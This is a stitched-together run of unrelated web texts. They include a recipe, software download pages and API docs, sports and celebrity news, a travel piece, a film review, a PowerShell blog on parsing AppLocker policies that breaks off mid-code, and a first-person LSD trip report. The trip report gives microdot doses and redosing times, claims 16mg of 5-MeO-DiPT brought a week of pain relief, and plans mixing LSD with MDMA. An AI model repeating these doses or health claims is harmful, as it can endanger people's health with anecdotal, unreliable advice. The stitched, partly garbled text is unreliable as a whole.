While the buns are baking, make a glaze. Combine the caster sugar and 50ml/2fl oz water in a saucepan and heat, stirring, until the sugar dissolves.
When the buns are ready, remove from the oven and brush with the glaze. Transfer to a wire rack to cool.


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There are several ways you can obtain Batik's binary or sources:
Every Batik release provides three distributions: a binary distribution
(named batik-version.zip
), a source distribution (named
batik-src-version,zip
) and a documentation distribution
(named batik-docs-version.zip
). These distributions
are provided as ZIP files on the Apache mirrors. Note that it is
good practice to verify the integrity
of the distribution files.
After downloading the distribution, consult the installation notes for details on how to install.
You are currently using [preferred]. If you encounter a problem with this mirror, then please select another. If all mirrors are failing, there are backup mirrors at the end of the list. See status of mirrors.
The current release is Apache Batik 1.7 (see the release change log).
Older releases are available from the Apache archives. However, we strongly recommend using the current release of Batik.
As mentioned in the installation notes, it is important that you verify the release that you download, using either the MD5 hash or verifying the PGP signature against the PGP key of the developer who signed the release.
Nightly snapshots of the source tree are available from the
Apache build server.
These snapshots represent the current state of development and may
or may not be as stable as releases. There are two distributions
provided: a complete copy of the Subversion repository trunk
(named batik-svn-date.zip
), including Batik's
regression testing utility and reference
images; and a snapshot of the aforementioned source code without
any of the testing facilities (named
batik-src-date.zip
).
To fetch the latest Subversion repository trunk, just run the following command:
svn checkout http://svn.apache.org/repos/asf/xmlgraphics/batik/trunk/
You can also browse the Subversion repository using ViewVC at http://svn.apache.org/viewvc/xmlgraphics/batik/.


Ex-Bok Du Plessis in surprise talks with Lions
Cape Town - Veteran prop Jannie du Plessis is in talks with the Lions ahead of the 2020 Super Rugby season.
Afrikaans newspaper Rapport reported on Sunday that the 37-year-old was in discussions with the Lions about a surprise move to Johannesburg.
Du Plessis, who played 70 Tests for the Springboks between 2007 and 2015, has been on the books of French club Montpellier since 2015.
Before that, Du Plessis played 119 Super Rugby games for the Sharks between 2008 and 2015, having started his professional career at the Cheetahs in 2003.
A medical doctor by trade, Du Plessis was largely expected to retire from rugby after his stay in France but a recent resurgence in form has breathed new life into his playing career.
Meanwhile, the report added that the Lions were also in negotiations with Stormers prop Carlu Sadie about a permanent move to Johannesburg.
The 22-year-old joined the Lions on a loan deal for the 2019 Super Rugby season, but was ordered to return to play for Western Province in the Currie Cup.
The Lions open their 2020 Super Rugby campaign against the Jaguares in Buenos Aires on February 1.
- Compiled by Herman Mostert


| io.permazen |
Abstraction layer allowing access to a Database using normal Java objects.
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| io.permazen.annotation |
Annotations used for automatic creation of a Permazen and corresponding
schema configuration of the underlying Database from annotated classes,
as well as automatic registration of various listeners, etc.
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| io.permazen.ant |
Ant tasks relating to Permazen.
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| io.permazen.app |
Support for Permazen command line applications.
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| io.permazen.change |
Classes passed to @OnChange -annotated methods.
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| io.permazen.cli |
Permazen Command Line Interface (CLI) classes.
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| io.permazen.cli.app |
Support for Permazen command line interface (CLI) applications.
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| io.permazen.cli.cmd |
Permazen CLI Command related classes, including pre-defined commands.
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| io.permazen.cli.func |
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| io.permazen.cli.telnet |
Support for Permazen Command Line Interface (CLI) over telnet connections.
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| io.permazen.core |
Core classes for the Permazen Java persistence layer.
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| io.permazen.core.type |
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| io.permazen.core.util |
Permazen core API utility classes.
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| io.permazen.demo |
Demonstration Java model classes.
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| io.permazen.index |
Permazen index classes.
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| io.permazen.jsck |
Classes associated with Jsck , the Permazen key/value database consistency checker.
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| io.permazen.jsck.cmd |
CLI commands associated with Jsck , the Permazen key/value database consistency checker.
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| io.permazen.kv |
byte[] array key/value store API and related utility classes.
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| io.permazen.kv.array |
A simple KVStore implementation based on a sorted array of key/value pairs.
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| io.permazen.kv.bdb |
KVDatabase implementation based on Oracle's Berkeley DB Java Edition.
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| io.permazen.kv.caching |
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| io.permazen.kv.cockroach |
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| io.permazen.kv.fdb |
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| io.permazen.kv.leveldb |
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| io.permazen.kv.lmdb |
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| io.permazen.kv.mssql |
KVDatabase implementation based on Microsoft SQL Server.
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| io.permazen.kv.mvcc |
Utility classes for MVCC type operations using a KVStore .
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| io.permazen.kv.mvstore |
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| io.permazen.kv.mysql |
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| io.permazen.kv.raft |
A distributed KVDatabase based on the Raft consensus algorithm.
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| io.permazen.kv.raft.cmd |
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| io.permazen.kv.raft.fallback |
A partition-tolerant KVDatabase that automatically migrates between a clustered
RaftKVDatabase and a private non-clustered "standalone mode"
KVDatabase , based on availability of the Raft cluster.
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| io.permazen.kv.raft.msg |
Raft inter-node messages.
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| io.permazen.kv.rocksdb |
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| io.permazen.kv.simple |
A simple in-memory implementation of the KVDatabase interface.
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| io.permazen.kv.spanner |
KVDatabase implementation based on Google Cloud Spanner.
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| io.permazen.kv.sql |
KVDatabase implementations based on SQL connections.
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| io.permazen.kv.sqlite |
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| io.permazen.kv.test |
Permazen key/value unit test support classes.
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| io.permazen.kv.util |
Utility classes relating to the KVDatabase interface.
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| io.permazen.kv.xodus |
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| io.permazen.maven |
Permazen Maven plugins.
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| io.permazen.parse |
Permazen parsing related classes.
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| io.permazen.parse.expr |
Classes for parsing Java expressions with Permazen-specific extensions.
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| io.permazen.parse.func |
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| io.permazen.parse.util |
Permazen parsing utility classes.
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| io.permazen.schema |
Classes for modeling Permazen Database schemas.
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| io.permazen.spring |
Spring Framework integration classes.
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| io.permazen.test |
Permazen unit test support classes.
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| io.permazen.tuple |
Generic typed classes holding ordered "tuples" of objects.
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| io.permazen.util |
General utility classes used with Permazen.
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| io.permazen.vaadin |
Classes to facilitate Vaadin applications that interact with a Permazen database.
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| io.permazen.vaadin.app |
Support for Permazen GUI applications based on Vaadin.
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Write Models¶
If you are trying to do something completely new, you may wish to implement a model entirely from scratch. However, in many situations you may be interested in modifying or extending some components of an existing model. Therefore, we also provide mechanisms that let users override the behavior of certain internal components of standard models.
Register New Components¶
For common concepts that users often want to customize, such as “encoder/decoder”, “layers”, we provide a registration mechanism for users to inject custom implementation that will be immediately available to use in config files.
For example, to add a new encoder to xmodaler/modeling/encoder
, import this code in your code:
from xmodaler.modeling.encoder.build import ENCODER_REGISTRY
__all__ = ["MyEncoder"]
@ENCODER_REGISTRY.register()
class MyEncoder(nn.Module):
@configurable
def __init__(self):
super(MyEncoder, self).__init__()
@classmethod
def from_config(cls, cfg):
...
return {} # return init arugments
@classmethod
def add_config(cls, cfg):
...
def forward(self, batched_inputs, mode=None):
...
return outputs
In this code, we implement a new encoder following the interface of the torch.nn.Module
, and register it into the ENCODER_REGISTRY
. After importing this code, X-modaler can link the name of the class to its implementation. Therefore you can write the following code:
cfg = ... # read a config
cfg.MODEL.ENCODER = 'MyEncoder' # or set it in the config file
model = build_model(cfg) # it will find `MyEncoder` defined above


Blot creates a folder in your Dropbox
and publishes files you put inside.
Blot turns images, text, HTML and Markdown files into posts. Use your favourite app to write your blog posts.
There are no ads and no third-party tracking. You pay a small annual fee and that's it.
Blot is fast, reliable and hosts blogs with thousands of posts without issue.
I have to cover the cost of running Blot somehow.
No, Blot can only access the folder containing your blog posts.
No, Blot fetches a copy of each blog post and hosts it on Blot's servers.
See more on the help page. Don't hesitate to contact me with any questions.
Blot comes with five themes. You also can create your own from scratch.
Your blog comes with a dashboard for customizing your blog. This is how it looks:


Overview of Bangladesh
Bangladesh has a natural beauty all over the country, Rivers are the most important geographical features in Bangladesh and also brings the natural attractiveness to it. Bangladesh has a plenty of places to enjoy and recreation,Cox's Bazar (120 kilometers) World Longest Natural Sea Beach is one of them. Cox's Bazar is the tourist capital of Bangladesh. Miles of golden sands, towering cliffs, surfing waves, rare conch shells, colorful pagodas, Buddhist temples and tribes, delightful sea-food--this is Cox's Bazar. Kuakata is one of the rarest places which have the unique beauty of offering the full view of the rising and setting of crimson sun in the water of the Bay of Bengal in a calm environment. That perhaps makes Kuakata one of the world's unique beaches. The long and wide beach at Kuakata has a typical natural setting. Foy's Lake is a man-made lake in Chittagong, Bangladesh. It was dug in 1924 and was named after the Railway engineer Foy. An amusement park Foy's Lake set amidst picturesque surroundings in the railway town-ship of Pahartali 8 km. from Chittagong, this is an ideal spot of outing and picnic thronged by thousands of visitors every week. If someone love the nature this is the place to go. Mohasthangarh is one of the main attractions in north Bengal. It was the capital of Kingdom of the Mourjo, the Gupta and the Sen Dynasty. This is the ancient archeological and historical which was, established in 2500 BC. It is the oldest archaeological site of Bangladesh.  Visiting in Bangladesh you will be able to find a lot of friendly people through the tour. People in Bangladesh have a great heart to all, may be the beauty of nature made it possible for all.


Ocean [aw45], ocean, in The Inner Sea
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Ocean [aw45], ocean, in The Inner Sea
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12: The Savvy Aardvark [ha5r], ship, 2 hulls, 1 rowing port, 6 sails,
12: 9% damaged, arrived from Ocean [aw46], owner:
12: Phantasm [n4b], Imperial Empire, marquess, with two peasants,
12: eight sailors
13: The Savvy Aardvark [ha5r], ship, 2 hulls, 1 rowing port, 6 sails,
13: 9% damaged, departed for Ocean [aw44].
Routes leaving Ocean:
North, to Ocean [av45], 6 days
East, to Ocean [aw46], 6 days
South, to Ocean [ax45], 6 days
West, to Ocean [aw44], 6 days
Inner locations:
Island [ac4j], island, 1 day, owner:
Pirate [hj5s], pirates, number: 4


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The Ten Shaolin Laws are non-religious, and transcend all cultures and races, i.e. people of any culture and race would agree that they promote values that are worthy and desirable. Laws, in the Shaolin tradition, are not meant to be punitive or restrictive, but as practical means to help followers achieve set aims and objectives; in this case to help them attain the best possible results in practicing Shaolin Kung Fu for combat efficiency, joyful living, mind expansion, and spiritual fulfillment.
There is no legal binding on the Ten Shaolin Laws; one cannot be prosecuted in a law court if he breaks these laws. The binding is moral.  If he breaks the laws, despite sufficient warnings, he may be asked to leave the Shaolin training, not as a punishment, but because the training is not suitable for him.
- Required to respect the master, honour the Moral Way and love fellow disciples as brothers and sisters.
- Required to train the Shaolin arts diligently, and as a pre-requisite, to be physically and mentally healthy.
- Required to be filial to parents, be respectful to the elderly, and protective of the young.
- Required to uphold righteousness, and to be both wise and courageous.
- Forbidden to be ungrateful and unscrupulous, ignoring the Laws of man and heaven.
- Forbidden to rape, molest, do evil, steal, rob, abduct or cheat.
- Forbidden to associate with wicked people; forbidden to do any sorts of wickedness.
- Forbidden to abuse power, be it official or physical; forbidden to oppress the good and bully the kind.
- Obliged to be humane, compassionate and spread love, and to realize everlasting peace and happiness for all people.
- Obliged to be chivalrous and generous, to nurture talents and pass on the Shaolin arts to deserving disciples.


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This is a first time dream of LSD. One microdot (approximately 5mg in total weight) was imagined sublingually at about 5 minutes before 1am, at an underground (literally and figuratively) rave event, the microdot having been acquired some days before.
A few minutes later, the DJ is spinning a track, 'Being on LSD is like sailing Mt. Everest...' or something similar. Very interesting synchronicity, but I that seems par for the course with any psychedelic material.
After an hour, nothing is happening yet, and various people with experience of these dots have been saying that they are not very strong and require multiple dosing.
About 2:20, I'm not sure I'm feeling anything at all even now, maybe it's threshhold and I can't tell because of all the stimulus around me. Anyhow, another microdot is chewed, dissolved in my mouth and swallowed. No real taste to speak of.
Maybe a half hour passes and I think I'm definitely off-baseline now, but this is very different from any tryptamine or phenethylamine psychedelic I've previously imagined. I am talking to people and notice I've started to become brutally honest. My coordination seems to be somewhat impaired.
From here, the effects continued to grow, and by another half hour I was definitely sure of the action in my system. This material was completely clear and free of seeming mental warp, but my attention is extremely focused and my ability to think about things without reservation or mental strain is enormously enhanced. In this, the effects for me are similar to MDMA but without the empathetic aspect. To the contrary, I have become extremely analytical and critical, without much emotional feeling at all. I realize I need to be very careful not to hurt people's feelings with my brutal honesty right now, because I know I would not want to do so in other contexts, and I have to make an allowance for my present state of mind.
A bit later, I run into a girl I know, and my normal shyness being absent I tell her I think she's really cute. She's with some other guy tonight, but I get her phone number, anyhow. I find some other people I know in order to make sure I can get a ride home later. I spend the next few hours, walking, contemplating, talking to various friends and strangers at the party, staying very clear and comfortable throughout.
About 6am my ride is leaving the party, I'm still up, but I have to say that nobody would likely be able to tell at all if I didn't say something about it. I am at least as coherent as normal, and probably moreso, there's probably some eye dilation going on but it's still dark anyhow. I have some interesting geometic closed eye visuals.
7:30 or so we stop for breakfast, and meet some others of my friends. I give them my brief bioassay report, that I think the dots are probably a low dose of LSD and not LSA as some others had suggested they might be, as I've tried LSA before and it was more sedating and less clear. I guess this might be 50ug or less of acid per dot, though.
9am, I'm home. Wonder if I can sleep. Amazingly enough, by 10am, I do. I can't sleep on most any other psychedelic material I've imagined. I wake up about 3pm, and seem not to want to sleep more, but I think I'm down now. Some visual focus issues persist, and continue an hour later as I am now writing this, perhaps my eyes are still a bit dilated.
Note on pain relief: As I've written in previous reports, I have tried various materials for their pain relieving benefits, this one seems to work very well indeed, but I've had a few small twinges that suggest it may not persist more than a day or two. Obviously it is premature to judge that, and many substances have a strongly dose-dependent benefit. For example, 5-MeO-DiPT at levels below about 14mg doesn't help me much, but at 16mg provided dramatic relief for at least a week.
I fully intend to find some more of these and try them in a larger dose sometime. I'd also like to combine them with MDMA to see how they interact with regard to the enhancing qualities of both materials, and perhaps with preservation of emotional effect.
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Tomorrow Never Dies
Chad'z rating: *** (out of 4 = good)
1997, PG-13, 119 minutes [1 hour, 59 minutes]
[action]
starring: Pierce Brosnon (James Bond), Jonathon Pryce (Elliot Carver), Michelle Yeoh (Wai Lin), Teri Hatcher (Paris Carver); written by Bruce Feirstien; produced by Barbara Broccoli, Michael G. Wilson; directed by Roger Spottiswoode; based on characters created by Ian Fleming.
Seen December 28, 1997 at 8:45 p.m. at the Crossgates Mall Cinema 18 (Guilderland, NY), theater #8, with Matt Perreault and my sister Jena for free (Matt paid using pre-paid passes).
If there's ever been an exception to the perils of excessive cliches and non- stop action, the James Bond films are it. And if there's ever been a James Bond film that not only proves this, but does so by pushing it to the extreme, "Tomorrow Never Dies" is it.
Opening sequences almost always make or break action films. When done properly, not only are they actually exciting, but they foreshadow things to come. This film starts off on the right foot by establishing the kind of atmosphere that could only be found in an action movie, but with a sense of the self-aware, enclosed universe where James Bond movies take place in.
First there's a high-tech, slightly complicated scene involving a British warship crossing into unfriendly, Chinese waters. There's definite tension as there seems to be an unknown, but certainly hostile, third party involved who is manipulating both sides. When the scene ends in tragedy, it's clear there's some kind of powerful conspiracy going on, and who else to call on for such a case but James Bond?
The film uses good judgment in the way it introduces us to Bond (Brosnon). As the enemy was portrayed as evil and mysterious, Bond is clearly (and obviously) depicted as an out-and-out hero. He single-handedly takes out a small army of terrorists, and then must escape in the nick of time by flying away in a fighter jet while the co-pilot tries to strangle him and a terrorist in another jet tries to shoot him down! This might sound like the kind of cliches films like this are notorious for (over-)using, but it works here because the film knows how to get our attention quickly. It's not about the payoff because it's obvious Bond will escape, instead, it's the way it processes the action sequences by going over the top and not apologizing for it, all the while creating for witty, hysterical comedy.
It seems less emphasis is placed on the villains in thrillers anymore, because of political correctness, and just plain copping-out on behalf of the filmmakers (even the term "villain" sounds passe). What the film deserves kudos for is its ability to create a villain as heinous as they come, yet making him seem completely plausible. Jonathon Pryce delivers a perfect performance as the arrogant, cunning Elliot Carver, a media mogul whose goal is to take over the world, that is, through his massive media empire, not through nuclear weapons. Through some interesting detective work, Bond and the English Ministry of Defense believe Carver is behind the trouble brewing in the southern Asian seas as a way to create and accurately cover his own news. Not only is that an original idea for a conflict, but one which could carry over into reality.
Surprisingly, this is about as detailed as the story allows the specific plot to become. The film's hook is the action, and of course those cool gadgets and we get plenty of that here as Bond goes out to investigate Carver and finds himself in a jam or two along the way. The story works much like Bond himself - always on the run and concentrates more on the individual conflicts than any general plot. Somehow a Chinese agent, Wai Lin (Yeoh), bumps into Bond a few too many times and they find themselves working together. The chemistry between Brosnon and Yeoh is rigid, but also works because of this, not in spite of it. The two are constantly on the run from Carver and his goons, yet the film manages to balance the stunts and special effects with its clever story.
Although "Tomorrow Never Dies" is far from perfect, it is quite an impressive film in terms of its ability to be so cliche and cartoony and not make plausibility an issue.
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AccordionComponent
Selector: sbb-accordion
Exported as: sbbAccordion| Name | Description |
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@Input()
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Whether the expansion indicator should be hidden. |
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Whether the accordion should allow multiple expanded accordion items. |
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Class property that refers to the headers of the panels of the accordion. |
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This component can be used as a single element to show expandable content, or as one of multiple children of an element with the SbbAccordion component attached.
Selector: sbb-expansion-panel
Exported as: sbbExpansionPanel| Name | Description |
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@Input()
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Class property to disable a specific panel. |
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@Input()
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Class property to expand a specific panel. |
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@Input()
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Whether the toggle indicator should be hidden. |
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@Output()
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An event generated when a panel is closed. |
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@Output()
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An event generated when change the status of the expansion panel. |
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An event generated when a panel is opened. |
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Optionally defined accordion the expansion panel belongs to. |
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Element containing the panel's user-provided content. |
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Class property that refers to the status of expansion of the panel. |
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ID for the associated header element. Used for a11y labelling. |
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Content that will be rendered lazily. |
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Portal holding the user's content. |
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Class property that refers to the attribute class of the panel. |
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Checks whether the expansion panel's content contains the currently-focused element. |
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boolean
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Gets the expanded state string. |
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This component corresponds to the header element of an <sbb-expansion-panel>
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Selector: sbb-expansion-panel-header
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Class property that gets the status disabled of the panel. |
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Gets the panel id. |
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Class property that identifies a header panel without toggle. |
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Gets whether the panel is expanded. |
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Class property that refers to the ExpansionPanelComponent. |
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Class property that refers to the identifier of the header panel. |
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Class property that refers to the attribute class of the header panel. |
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Class property that refers to the role of the header panel. |
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Gets the expanded state string of the panel. |
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string
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Handle keydown event calling to toggle() if appropriate. |
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Gets whether the expand indicator should be shown. |
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Toggles the expanded state of the panel. |
ExpansionPanelContentDirective
Expansion panel content that will be rendered lazily after the panel is opened for the first time.
Selector: ng-template[sbbExpansionPanelContent]
IAccordionBase
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Handles focus events on the panel headers. |
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Handles keyboard events coming in from the panel headers. |
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Whether the expansion indicator should be hidden. |
ExpansionPanelState
SbbExpansionPanel's states.
Type:
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| derivative | derivative |
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| DynamicSelect | DynamicSelect |
| Evaluate | Evaluate |
| experiment | experiment |
| HideResult | HideResult |
| Inline | Inline |
| InlineAfterIndexReduction | InlineAfterIndexReduction |
| inverse | inverse |
| LateInline | LateInline |
| missingInnerMessage | missingInnerMessage |
| obsolete | obsolete |
| preferredView | preferredView |
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Class LocalBlockTree<B extends Block<B>>
Object
LocalBlockTree<B>
- Type Parameters:
B
- The block type that this tree supports
public class LocalBlockTree<B extends Block<B>>
extends Object
A tree graph of blocks received by a node. Each node in the metwrok should
have a local tree of all blocks received. In a Nakamoto Consensus, for example,
there is only one main chain and the blocks outside that chain are stale blocks.
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Field Summary
Fields Modifier and Type Field Description private LocalBlock<B>
genesisBlock
The genesis block in the local tree.protected HashMap<B,LocalBlock<B>>
localBlockTree
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Method Summary
Modifier and Type Method Description void
add(B block)
Adds a received block from network to the local tree block.boolean
areBlocksConnected(B block1, B block2)
Determines if two blocks are connected to each other or not.boolean
contains(B block)
Checks if a certain network block is available in the local block tree of the node.HashSet<B>
getAllAncestors(B block)
Returns all ancestors of the input block in a HashSetSortedSet<B>
getAllSuccessors(B block)
Returns a SortedSet of all available Successors of the input block inside local block treeB
getAncestorOfHeight(B block, int height)
Returns the ancestor of the block with at certain height.Set<B>
getChildlessBlocks()
Returns all of the childless blocks (tips, leaves) that exist of the local block tree of the node.HashSet<B>
getChildren(B block)
Returns all the children of a block in the local block treeB
getCommonAncestor(B blockA, B blockB)
Returns the highest common ancestor of the provided two blocks.Set<B>
getDanglingBlocks()
Returns set of all blocks in local tree block that does not have any parents available in the local block tree.B
getGenesisBlock()
Returns the block wih no parents that was set in initialization of the nodeLocalBlock<B>
getLocalBlock(B block)
For any network block returns a local block inside the tree.List<B>
getPathBetween(B block1, B block2)
Returns all the blocks between two provided blocks inside local block tree if there is any such path between them.int
size()
Returns total number of blocks inside the local block tree.
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Field Details
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localBlockTree
A map that receives a Block and returns corresponding LocalBlock on local Tree of the node. -
genesisBlock
The genesis block in the local tree. The block with no parents. This should be set at the first. Since genesis block is fixed for any network node.
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Constructor Details
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LocalBlockTree
Creates the local tree block of a node.- Parameters:
genesisLocalBlock
- The block with no parents in the network
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Method Details
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add
Adds a received block from network to the local tree block.- Parameters:
block
- received block from the network or generated inside the node itself.
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getLocalBlock
For any network block returns a local block inside the tree. If it does not exist in the local tree then returns null.- Parameters:
block
- the network block- Returns:
- The corresponding local block
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size
public int size()Returns total number of blocks inside the local block tree.- Returns:
- Number of blocks inside the local block tree.
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getGenesisBlock
Returns the block wih no parents that was set in initialization of the node- Returns:
- genesis block
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getChildren
Returns all the children of a block in the local block tree- Parameters:
block
- the network block- Returns:
- A map of all children of the block in local block tree
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contains
Checks if a certain network block is available in the local block tree of the node.- Parameters:
block
- the network block to check if it exists in the local block tree- Returns:
- true if the block exists in the local tree, and false if it is not.
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getChildlessBlocks
Returns all of the childless blocks (tips, leaves) that exist of the local block tree of the node.- Returns:
- set of all available childless blocks in the local block tree
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getDanglingBlocks
Returns set of all blocks in local tree block that does not have any parents available in the local block tree.- Returns:
- set of Dangling blocks or blocks with no parents already received from the network.
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areBlocksConnected
Determines if two blocks are connected to each other or not. If all block between the two input blocks are already available inside the local block tree then returns true else returns false- Parameters:
block1
- first blockblock2
- second block- Returns:
- true if there is a path between the two blocks and all block between them are available inside the local block tree else fasle.
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getPathBetween
Returns all the blocks between two provided blocks inside local block tree if there is any such path between them.- Parameters:
block1
- first blockblock2
- second block- Returns:
- the list of all blocks between the two input block, starting from the one with higher height block.
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getCommonAncestor
Returns the highest common ancestor of the provided two blocks.- Parameters:
blockA
- First blockblockB
- Second block- Returns:
- The ancestor with largest height value.
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getAncestorOfHeight
Returns the ancestor of the block with at certain height.- Parameters:
block
- the blockheight
- the targeted height that the returning ancestor is expected to have- Returns:
- the ancestor with height equal to the input height.
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getAllAncestors
Returns all ancestors of the input block in a HashSet- Parameters:
block
- the block which its ancestors are requested- Returns:
- all ancestors in the local block tree
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getAllSuccessors
Returns a SortedSet of all available Successors of the input block inside local block tree- Parameters:
block
- the block of which the successors are requested- Returns:
- SortedSet of all available Successors of the input block inside the local block tree.
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Davis Cup | Russia edges out Serbia in quarterfinals
Will take on Canada in the semifinals.
by ReutersA spirited Russia battled past 2010 champion Serbia 2-1 in the Davis Cup quarterfinals on Friday to reach the last four of the competition for the first time since 2008.
Russia will next face Canada, which claimed its first ever Davis Cup victory over another former champion Australia.
Andrey Rublev put Russia in front by swatting aside Filip Krajinovic 6-1, 6-2 in the opening match at the La Caja Magica before Novak Djokovic dragged Serbia back into the tie with a 6-3, 6-3 win over Karen Khachanov.
With his 15th straight Davis Cup singles victory in the bag, Djokovic teamed up with Viktor Troicki in the deciding doubles match but the pair squandered three match points as Rublev and Khachanov prevailed 6-4, 4-6, 7-6(8).
Canada booked its place in the last four as Vasek Pospisil and Denis Shapovalov won the deciding rubber against Australia on Thursday. Pospisil had given Canada the lead before Alex De Minaur evened the tie with a win over Shapovalov.
The results (quarterfinals): Canada bt Australia 2-1 [Vasek Pospisil bt John Millman 7-6(7), 6-4; Denis Shapovalov lost to Alex de Minaur 3-6, 6-3, 7-5; Pospisil & Shapovalov bt Jordan Thompson & John Peers 6-4, 6-4].
Russia bt Serbia 2-1 [Andrey Rublev bt Filip Krajinovic 6-1, 6-2; Karen Khachanov lost to Novak Djokovic 6-3, 6-3; Rublev & Khachanov bt Djokovic & Viktor Troicki 6-4, 4-6, 7-6(8)].


Camila Cabello's 'It's A Mystery' Tattoo Only Says 'A Mystery' Now - Find Out Why!
Camila Cabello hits the stage for the 2019 B96 Jingle Bash at the Allstate Arena on Saturday night (December 7) in Chicago.
The 22-year-old “Living Proof” singer rocked the event with her performance, singing some of her major hits like “Senorita”, “Never Be The Same” and many more.
PHOTOS: Check out the latest pics of Camila Cabello
During her recent Q&A at her pop-up experience this weekend, Camila opened up about getting her first tattoo and the reason she has to go through the pain all over again.
“OK guys, my tattoo’s screwed,” she shared. “Because I didn’t put moisturizer on it. Who here has tattoos?”
Turns out, Camila didn’t follow the after-care rules!
“First rule, you gotta moisturize it when you get it…it’s faded!” she shared, revealing that the ‘it’s’ part of her ‘it’s a mystery’ tattoo is now gone.
“I gotta go through this pain again,” she added. “That’s OK — I love the pain!”


ConvertFrom-AppLockerPolicyXml
Hey-Oh! Its been a while! Even though I’ve been locked at home for the past year, I haven’t published any new content in forever. Well, life has been pretty boring so I haven’t come across much worth sharing, and I’m also lazy. But I do have something today finally worth blerg’n about. So anyway, away we go!
So, in my not so distant past, I was rolling out Windows AppLocker to our organization, I did get it out to most sites, but other stuff came up, other projects, yada yada yada, and I never got it all the way finished. Now, its back on the todo list, and one of my peers is working on finishing it up. Anyway, I am assisting with the KB transfer, and I’m also helping to troubleshoot issues that come up as he moves forward. Well a few days back I was helping him out, and I was on the users computer, who was having a program being blocked that should not have been. It was based on a recent exception we had made, so I wanted to verify the new policy was in fact being applied from within the GPO. So, I started using the AppLocker PowerShell cmdlets. Long story short, what a disappointment those are.
Get-Command -Name "*AppLocker*"
CommandType Name Version Source
----------- ---- ------- ------
Function Get-AppLockerFileInformation 1.0 AppLocker
Function Get-AppLockerPolicy 1.0 AppLocker
Function New-AppLockerPolicy 1.0 AppLocker
Function Set-AppLockerPolicy 1.0 AppLocker
Function Test-AppLockerPolicy 1.0 AppLocker
Wow, a lot to choose from there right. Also I think AppLocker came out with Windows 7, SP1 maybe, and these are still v1……anyway. I was pretty sure the Get-AppLockerPolicy
cmdlet is going to be the one I want, so I can see exactly what rules are being applied. So, I did the obvious thing right? wink wink. I ran Get-Help
and checked out the Syntax”:
Get-Help -Name Get-AppLockerPolicy
SYNTAX
Get-AppLockerPolicy -Local [-Xml] [<CommonParameters>]
Get-AppLockerPolicy -Domain -Ldap <string> [-Xml] [<CommonParameters>]
Get-AppLockerPolicy -Effective [-Xml] [<CommonParameters>]
Ok, so it looks like you can either get the Domain or Local policy, or the Effective policy, which would be the combination of both I would guess. So lets do that and see what is actually being applied.
Get-AppLockerPolicy -Effective
RunspaceId : a3c075e3-c5c8-4120-8f37-b69d9deb38af
Version : 1
RuleCollections : {Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.FilePublisherRule, ,
Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.FilePublisherRule
Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.FilePublisherRule
Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.FilePublisherRule
Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.FilePublisherRule
Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.FileHashRule…}
RuleCollectionTypes : {Appx, Dll, Exe, Msi…}
So wow, thats great info there, looks like all the conditions are in the RuleCollections
property, lets dig in and see what info is in there.
Get-AppLockerPolicy -Effective |
Select-Object -ExpandProperty RuleCollections |
Select-Object -First 1 -Property *
Capacity : 4
Count : 1
IsFixedSize : False
IsReadOnly : False
IsSynchronized : False
SyncRoot : {Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.FilePublisherRule}
So, nothing, like literally nothing…am I missing something? Maybe in SyncRoot?
Get-AppLockerPolicy -Effective |
Select-Object -ExpandProperty RuleCollections |
Select-Object -First 1 -ExpandProperty SyncRoot |
Select-Object -Property *
Length
------
79
Length 79? So all this is doing is just giving me a string? And the value of that string is just the object type name? Like WTF is going on? So then I tried diving into that other property, the RuleCollectionTypes
maybe? Seems like a long shot for sure:
Get-AppLockerPolicy -Effective |
Select-Object -ExpandProperty RuleCollectionTypes
Appx
Dll
Exe
Msi
JFC! Where are the RULES! Insert Batman meme here…GIVE EM TO ME! I guess lets try that -Xml
parameter, I mean, what other options are there…(see help output above, there are none):
Get-AppLockerPolicy -Effective -Xml
Not going to paste the out of that here, because its huge. But its not even true Xml, its just a string that has all the Xml tags, so you still have to cast it to Xml yourself:
[Xml](Get-AppLockerPolicy -Effective -Xml)
AppLockerPolicy
---------------
AppLockerPolicy
Hey, look at that, an actual true Xml object that can be manipulated like any other Xml document. So, from what I can tell, the only real option you have here is to just spit out the Xml string to your clipboard and then paste it in a text editor and the use the find function to look for any rule or condition you maybe after. If you are just trying to be quick anyway. But that still seems like the worst solution ever! So, I decided to make a PowerShell function that would parse the Xml for you into usable, and more importantly, readable objects. This also gave me an excuse to spend some time in the IDE, which I jumped on, as I don’t get to do that near as much as I used to.
So, the TLDR: I created a cmdlet called ConvertFrom-AppLockerPolicyXml
. This will take in Xml generated from Get-AppLockerPolicy
and convert it to usable objects. It also does a few other things under the hood, such as converting the UserOrGroupSid
property to the corresponding user or group name, it also bundles all the Conditions
and Exceptions
into a single properties:
Get-AppLockerPolicy -Effective -Xml |
ConvertFrom-AppLockerPolicyXml
Id : bef5d95f-da42-4e68-b3bc-06f9e683891f
Name : All My Stuff
Description :
Type : Exe
EnforcementMode : AuditOnly
UserOrGroup : domain\tomohulk
Action : Allow
Conditions : {FilePathCondition}
Exceptions :
And you can dive into the Conditions if you want or need to:
Get-AppLockerPolicy -Effective -Xml |
ConvertFrom-AppLockerPolicyXml |
Select-Object -First 1 -ExpandProperty Conditions
ConditionType: FilePathCondition
Path: %OSDRIVE%\AllMyStuff\*
Mind you these are broad and very fake outputs here, but I think you get the idea. I did use PowerShell Classes to make it easy to cast to custom objects, in my case, hundreds of rule objects. So you need at least PowerShell 5.1. I Did all my development and testing for this in pwsh v7.1.2. And one other bonus from classes is I like that my custom (casted really) objects have valid descriptive type names:
(Get-AppLockerPolicy -Effective -Xml |
ConvertFrom-AppLockerPolicyXml)[0].GetType()
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
True False AppLockerRule System.Object
And when I say casting I mean it. There really isn’t much logic to this. It just iterates and then passes in the Xml nodes to the AppLockerRule
class, and lets the class definition do all the heavy lifting and format the output. Here is the only executing code really ($Xml
being the Xml string from Get-AppLockerPolicy -Xml
):
foreach ($fileType in @("Appx", "Dll", "Exe", "Msi", "Script")) {
$rules = $Xml.AppLockerPolicy.SelectNodes("//RuleCollection[@Type='$fileType']")
foreach ($ruleType in @("FilePublisherRule", "FilePathRule", "FileHashRule")) {
foreach ($rule in @($rules.$ruleType)) {
